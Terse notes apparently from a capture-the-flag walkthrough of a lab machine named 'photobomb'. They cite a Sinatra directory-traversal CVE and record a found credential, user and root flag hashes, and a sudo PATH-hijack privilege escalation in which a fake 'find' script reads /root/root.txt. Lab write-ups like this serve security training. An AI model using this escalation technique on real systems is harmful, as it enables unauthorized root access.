photobomb

GitHub - sinatra/sinatra: Classy web-development dressed in a DSL (official / canonical repo)

Classy web-development dressed in a DSL (official / canonical repo) - sinatra/sinatra

https://github.com/sinatra/sinatra

Snyk Vulnerability Database | Snyk

Medium severity (5.3) Directory Traversal in sinatra | CVE-2018-7212

https://security.snyk.io/vuln/SNYK-RUBY-SINATRA-22017

found creds again

pH0t0:b0Mb!

shell

user flag

89a42badc271690345458192c3aec560

opt cleanuo.sh

root flag

719e71acd34f1d2fee3f9bb2f728719f

echo "cat /root/root.txt; #" > find

chmod +x find

sudo PATH=pwd:$PATH /opt/cleanup.sh